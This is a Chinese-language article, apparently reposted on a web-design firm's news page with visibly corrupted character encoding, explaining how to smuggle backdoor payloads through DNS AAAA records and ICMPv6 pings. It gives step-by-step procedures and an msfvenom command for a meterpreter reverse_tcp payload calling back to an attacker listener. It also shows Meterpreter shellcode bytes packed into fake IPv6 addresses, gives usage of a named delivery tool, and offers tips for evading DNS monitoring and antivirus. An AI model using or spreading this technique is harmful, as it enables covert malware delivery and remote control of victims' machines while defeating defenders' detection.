新聞中心
一、前言

創(chuàng)新互聯(lián)專業(yè)為企業(yè)提供灤州網(wǎng)站建設(shè)、灤州做網(wǎng)站、灤州網(wǎng)站設(shè)計(jì)、灤州網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、灤州企業(yè)網(wǎng)站模板建站服務(wù),10年灤州做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。
在本文中,我想解釋如何在DNS流量中利用IPv6地址(AAAA)記錄傳輸Payload。在我之前的文章中,我解釋了如何利用DNS和PTR記錄,現(xiàn)在我們將討論AAAA記錄。
本文分為兩部分:
- 第一部分:DNS AAAA記錄和ICMPv6
- 第二部分:DNS和AAAA記錄(大的DNS AAAA記錄響應(yīng))
二、DNS AAAA記錄和ICMPv6
IPv6地址對(duì)于傳輸Payload非常有用,讓我解釋下如何完成這個(gè)例子。
舉個(gè)例子,我們有一個(gè)IPv6地址如下:
- fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
這個(gè)例子中,我們能將xxxx部分用于我們的Payload。
- fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz
我認(rèn)為我們有兩種方式將IPv6地址用于我們的Payload,第一個(gè)是我們使用DNS和AAAA記錄,第二個(gè)是使用這些IPv6地址和DNS AAAA記錄,也是Ping6的ICMPv6流量。
ICMPv6和Ping6:這個(gè)例子中,你能通過(guò)虛假的IPv6和注入的Payload來(lái)改變攻擊者的IPv6地址,然后從后門系統(tǒng)中,你能通過(guò)循環(huán)Ping6得到這些IPv6地址(ICMPv6流量)。
因此我們有下面這些東西:
- (后門系統(tǒng))ip地址 = {192.168.1.120}
- (攻擊者系統(tǒng))ip地址 = {192.168.1.111
- ,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
- (攻擊者系統(tǒng))DNS名 = test.domain.com,和安裝的DNS服務(wù){(diào)dnsmasq或dnsspoof}
DNS AAAA記錄和ICMPv6步驟:
步驟1:(攻擊者DNS服務(wù)器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 AAAA test.domain.com
步驟2:(后門系統(tǒng))==>nslookup test.server.com 192.168.1.111
步驟3:(后門系統(tǒng))循環(huán)Ping6=>(攻擊者系統(tǒng)fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)
步驟4:(后門系統(tǒng))通過(guò)Ping6響應(yīng)在IPv6地址中轉(zhuǎn)儲(chǔ)出注入的Payload,轉(zhuǎn)儲(chǔ)這些部分{0034:abcd:ef00:ab11:ccf1}
步驟5:(攻擊者DNS服務(wù)器)record0改為新的test.domain.com
步驟6:(攻擊者DNS服務(wù)器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001 AAAA test.domain.com
步驟6-1:(攻擊者系統(tǒng))通過(guò)ifconfig添加或改變NIC IPv6地址{新的IPv6地址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步驟6-2:關(guān)于步驟3的ping6的響應(yīng)=超時(shí)或不可達(dá)(錯(cuò)誤),這個(gè)時(shí)間是獲取新的IPv6地址的標(biāo)志,或者你的流量被某些東西檢測(cè)到并阻止了。
步驟7:(后門系統(tǒng))=>nslookup test.server.com 192.168.1.111
步驟8:(后門系統(tǒng))循環(huán)Ping6 test.domain.com=>
{新的IPv6地址fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步驟9:(后門系統(tǒng))通過(guò)IPv6的響應(yīng),從新的IPv6地址中轉(zhuǎn)儲(chǔ)出注入的Payload,轉(zhuǎn)儲(chǔ)這些部分{cf89:abff:000e:09b1:33b1}
- 注1:我們何時(shí)能知道IPv6地址改變了?當(dāng)來(lái)自攻擊者系統(tǒng)的ping6響應(yīng)是超時(shí)或者不可達(dá)。你也可以通過(guò)nslookup檢查。
- 注2:也可以使用多個(gè)IPv6地址為攻擊者的NIC,這種情況下不需要步驟6-1。但是這樣你不能使用注1。因此這種情況下你應(yīng)該使用定時(shí)器或者循環(huán)通過(guò)nslookup或類似的工具得到來(lái)自攻擊者系統(tǒng)的新的IPv6地址。意思是,從后門系統(tǒng),你能逐行得到攻擊者系統(tǒng)的IPv6地址和DNS Round-robin特征以及分組IPv6 DNS域名。
在這些步驟之后,你能通過(guò)DNS和ICMPv6流量得到20字節(jié)的Payload:
- Payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1
- Payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1
因此我們?cè)趦纱蜳ing6之后得到這個(gè)Payload:
- Reponse:0034abcdef00ab11ccf1cf89abff000e09b133b1
但是在這個(gè)技術(shù)中,你只能通過(guò)DNS流量做到這個(gè),意味著你能移除所有的Ping6步驟。因此,如果你想不使用Ping6和ICMPv6流量就做到這個(gè),你只需要步驟2和7,通過(guò)DNS響應(yīng)從DNS服務(wù)器轉(zhuǎn)儲(chǔ)payload。但是我們將在第二部分中討論討論這個(gè):(DNS和AAAA記錄)
讓我們展示一些關(guān)于ICMPv6方法的圖片,沒(méi)有代碼和工具。
我將來(lái)可能會(huì)發(fā)布C#代碼,并且也和這個(gè)文章一步一步介紹,但是我想展示關(guān)于DNS AAAA + ICMPv6技術(shù)的所有圖片。
圖A
在圖A中,你能看到對(duì)于test.domain.com,我們有8個(gè)的AAAA記錄,你也能看到這個(gè)IPv6地址的Ping響應(yīng),在這個(gè)技術(shù)中的DNS和ICMPv6,你能通過(guò)1或2下載DNS域名,然后如果你想使用ICMPv6,你能Ping6這些IPv6地址。
圖A中,我們有8個(gè)AAAA記錄,因此我們有8*10字節(jié)=80字節(jié)
- Meterpreter payload!
- fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com
- fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com
- fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com
- fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com
- fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com
- fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com
- fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com
- fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com
- PAYLOAD0= fc4883e4f0e8cc000000 and Counter = ae0
- PAYLOAD1= 415141505251564831d2 and Counter = ae1
因此我們得到payload=
- fc4883e4f0e8cc000000415141505251564831d2
為什么Ping,我們何時(shí)通過(guò)DNS請(qǐng)求得到payload?
如果你想使用DNS請(qǐng)求,如DNS循環(huán)請(qǐng)求或者通過(guò)AAAA記錄有大的響應(yīng)的DNS請(qǐng)求,那么這對(duì)于·DNS監(jiān)控工具檢測(cè)是一種特征。因此如果在每個(gè)DNS響應(yīng)之后對(duì)于AAAA記錄你有1或2個(gè)ping6,那么我認(rèn)為它是正常的流量,并且能通過(guò)DNS監(jiān)控設(shè)備或者DNS監(jiān)控工具檢測(cè)的風(fēng)險(xiǎn)很小。
例如你能通過(guò)1或2或3個(gè)AAAA記錄使用一個(gè)響應(yīng)一個(gè)請(qǐng)求。意思是如果響應(yīng)有4個(gè)AAAA記錄,或者超過(guò)4個(gè)AAAA記錄,那么可能有網(wǎng)絡(luò)監(jiān)控設(shè)備或工具將檢測(cè)你的流量,但是在這些網(wǎng)絡(luò)限制方面,SOC/NOC的家伙比我更有發(fā)言權(quán)。
正如你能在圖A中我的test.domain.com請(qǐng)求在響應(yīng)中有8個(gè)AAAA記錄。
因此這種情況,我們應(yīng)該在IPv6地址中將你的payload分組,DNS名也是一樣。
讓我解釋一些ICMPv6的東西,如果你想通過(guò)IPv6地址ping一個(gè)系統(tǒng),首先你應(yīng)該得到那個(gè)系統(tǒng)的IPv6地址,因此你需要DNS請(qǐng)求,總是很重要的點(diǎn)是對(duì)于你要轉(zhuǎn)儲(chǔ)的所有IPv6地址和從IPv6地址中轉(zhuǎn)儲(chǔ)注入的Meterpreter Payload,你需要多少DNS請(qǐng)求?
一個(gè)請(qǐng)求?
如果你想通過(guò)一個(gè)請(qǐng)求和一個(gè)響應(yīng)得到所有的IPv6地址,那么你將在一個(gè)DNS響應(yīng)中包含大量的AAAA記錄,因此被檢測(cè)的風(fēng)險(xiǎn)很高。
看圖A1:
圖A1
并且在圖A2,你能看見(jiàn)2個(gè)請(qǐng)求的長(zhǎng)度,第一個(gè)是小響應(yīng),第二個(gè)是大響應(yīng)。
圖A2-如你所見(jiàn),我們有兩個(gè)DNS AAAA響應(yīng),第一個(gè)長(zhǎng)度132(小響應(yīng))和第二個(gè)長(zhǎng)度1503(大響應(yīng))
在本文中,我將通過(guò)類似圖A2中的DNS AAAA記錄轉(zhuǎn)儲(chǔ)所有的IPv6地址來(lái)解釋一個(gè)請(qǐng)求和一個(gè)響應(yīng),但是在這種情況下我們知道DNS+ICMPv6也是有被檢測(cè)的風(fēng)險(xiǎn)的,如在圖A2 所見(jiàn),我們的第二個(gè)響應(yīng)長(zhǎng)度很長(zhǎng),將導(dǎo)致被檢測(cè)的風(fēng)險(xiǎn)。
兩個(gè)請(qǐng)求或者更多?
如你在圖B所見(jiàn),我的payload在3個(gè)DNS名中{test0.domian.com,test1.domain.com,test2.domain.com}.
并且我一次ping6一個(gè)IPv6地址,且得到了100%的ping回應(yīng)。
因此在這個(gè)例子中,每個(gè)響應(yīng)中我們有包含兩個(gè)AAAA記錄的3個(gè)請(qǐng)求和3個(gè)響應(yīng),在每個(gè)DNSAAAA響應(yīng)之后我們還有ICMPv6流量,最后我們也有一個(gè)小長(zhǎng)度的DNS響應(yīng)。
圖B
注意:我的Linux系統(tǒng)有多個(gè)IPv6地址,Ping6回復(fù)在圖C中。
你能通過(guò)ifconfig或者多個(gè)IPv6賦給NIC來(lái)完成步驟6-1,如圖C。
圖C
并且,圖C1中是我們的DNS查詢:
圖C1
現(xiàn)在你能在圖D中看到另一個(gè)請(qǐng)求和響應(yīng)分組的例子。
圖D
如圖E所見(jiàn),對(duì)于DNS請(qǐng)求和響應(yīng),我們的DNS服務(wù)器記錄。
圖E
無(wú)論如何,圖中所見(jiàn)的這種方法技術(shù)上是可行的,將來(lái)我將完成C#代碼。
三、DNS和AAAA記錄(大的DNS AAAA記錄響應(yīng))
現(xiàn)在,本文中我想討論DNS和AAAA記錄,并討論如何通過(guò)從假的DNS服務(wù)器到后門系統(tǒng)的一個(gè)DNS請(qǐng)求和DNS響應(yīng)得到這些payload。因此我們討論大的AAAA響應(yīng),意味著在一個(gè)DNS響應(yīng)之后,你能通過(guò)一個(gè)DNS AAAA響應(yīng),在后門系統(tǒng)上得到所有的payload和Meterpreter會(huì)話。
通過(guò)NativePayload_IP6DNS工具,使用DNS AAAA記錄傳輸后門payload的步驟:
步驟1:使用hosts文件偽造假的DNS服務(wù)器。
這種情況下,對(duì)于攻擊者系統(tǒng),我想使用dnsmasq工具和dnsmasq.hosts文件。
在我們偽造文件之前,你需要payload,因此能通過(guò)下面的命令得到payload:
- Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost 192.168.1.50 -f c >/payload.txt
注意:這個(gè)例子中的192.168.1.50是攻擊者的虛假的dns服務(wù)器,和攻擊者的Metasploit Listener。
現(xiàn)在你應(yīng)該通過(guò)這個(gè)payload字符串偽造hosts文件,如圖1,你能使用下面的語(yǔ)法偽造:
語(yǔ)法1: NativePayload_IP6DNS.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1...
圖1
現(xiàn)在拷貝這些IPv6地址到DNS hosts文件中,如圖2,并且你需要在每行IPv6地址后面寫入DNS域名。
圖2
這個(gè)例子中,我想使用工具dnsmasq作為DNS服務(wù)器,因此你能編輯/etc/hosts文件或者/etc/dnsmasq.hosts。
它依賴你的dnsmasq工具的配置。
因此,如圖3,你能使用如下命令啟動(dòng)DNS服務(wù)器。
圖3.
在啟動(dòng)DNS服務(wù)器后,你的dnsmasq應(yīng)該會(huì)從hosts文件中至少讀取51個(gè)地址。
最后用下面的語(yǔ)法,通過(guò)一個(gè)DNS IPv6 AAAA記錄響應(yīng),你將得到Meterpreter會(huì)話(如圖A2中的大的響應(yīng),第二個(gè)DNS響應(yīng),長(zhǎng)度為1503)
語(yǔ)法: NativePayload_IP6DNS.exe “FQDN” “Fake DNS Server”
語(yǔ)法: NativePayload_IP6DNS.exe test.domain.com 192.168.1.50
圖4
總而言之,DNS流量的PTR記錄和IPv6 AAAA記錄對(duì)于傳輸payload并繞過(guò)網(wǎng)絡(luò)監(jiān)控或者類似的東西非常有用,并且這些技術(shù)也能繞過(guò)反病毒軟件。
NativePayload_IP6DNS.exe的C#源代碼:(DNS AAAA記錄)
https://github.com/DamonMohammadbagher/NativePayload_IP6DNS
NativePayload_DNS.exe tool的C#源代碼:(DNS PTR記錄)
https://github.com/DamonMohammadbagher/NativePayload_DNS
網(wǎng)站題目:利用DNSAAAA記錄和IPv6地址傳輸后門
地址分享:http://www.dlmjj.cn/article/cdpggdi.html


咨詢
建站咨詢
